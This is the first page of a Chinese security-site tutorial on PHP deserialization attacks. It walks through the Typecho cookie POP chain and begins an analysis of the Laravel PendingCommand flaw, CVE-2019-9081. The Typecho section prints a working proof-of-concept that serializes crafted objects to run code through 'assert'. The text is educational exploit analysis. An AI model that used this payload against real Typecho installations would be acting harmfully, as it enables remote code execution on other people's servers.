欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

由浅入深剖析序列化攻击(三)

来源:本站整理 作者:佚名 时间:2019-08-08 TAG: 我要投稿

接之前的两篇文章:
https://www.myhack58.com/Article/60/61/2019/93995.htm

https://www.myhack58.com/Article/60/61/2019/94171.htm

之前分别介绍了php序列化攻击的魔法方法、session序列化引擎以及原生类序列化问题。
本篇文章则主要从真实案例来看序列化的pop链构造。
typecho序列化
这一节就简单说一下构造链,因为之前的文章分析过,可详见:
https://skysec.top/2017/12/29/cms%E5%B0%8F%E7%99%BD%E5%AE%A1%E8%AE%A1-typecho%E5%8F%8D%E5%BA%8F%E5%88%97%E6%BC%8F%E6%B4%9E/
总结
1.找到入手点__typecho_config:
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
2.寻找可用类Typecho_Db:
$db = new Typecho_Db($config['adapter'], $config['prefix']);
3.利用Typecho_Feed魔法方法__toString():
$config['adapter'] => new Typecho_Feed()
class Typecho_Feed __toString()
4.利用Typecho_Request魔法方法__get():
$item['author']->screenName
class Typecho_Request  __get()
5.利用get()方法,完成利用链:
get() -> _applyFilter() -> call_user_func
poc
class Typecho_Feed{
    private $_type='ATOM 1.0';
    private $_items;
 
    public function __construct(){
        $this->_items = array(
            '0'=>array(
                'author'=> new Typecho_Request())
        );
    }
}
 
class Typecho_Request{
    private $_params = array('screenName'=>'phpinfo()');
    private $_filter = array('assert');
}
$poc = array(
'adapter'=>new Typecho_Feed(),
'prefix'=>'typecho');
 
echo base64_encode(serialize($poc));
laravel序列化
Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework),若其本身出现漏洞,则对使用响应框架开发的网站影响是致命的。而这里就将分析laravel框架序列化RCE,CVE编号:CVE-2019-9081,受影响范围:laravel >= 5.7。
类名加载
我们首先随便构造一段序列化:
我们传入laravel,并进行反序列化,可以看到load方法试图加载我们随便输入的sky类,首先在$facadeNamespace中寻找指定类名:


如果找到,则会通过loadFacade进行加载,否则则进入loadClass进行class map查找,在vendor目录下寻找所需类:


但是并不能找到sky类,最后会return false。
最后查看是否class名以Swift_开头:

最后因为找不到对应类的定义,所以并不能成功进入反序列化流程。
但如果我们用一个存在的类,可以明显发现在findFile函数的classMap中找到了相关类,并返回进行了include:


危险类挖掘
挖掘一个框架的新漏洞,从框架新加入的代码入手是一个很好的思路。我们注意到laravel在5.7之后加入了PendingCommand:

值得注意的是,我们查到该文件,其定义了PendingCommand类,同时注意到其两个方法:
/**
     * Execute the command.
     *
     * @return int
     */
public function execute()
{
    return $this->run();
}
    /**
     * Handle the object's destruction.
     *
     * @return void
     */
public function __destruct()
{
    if ($this->hasExecuted) {
        return;

[1] [2] [3] [4]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载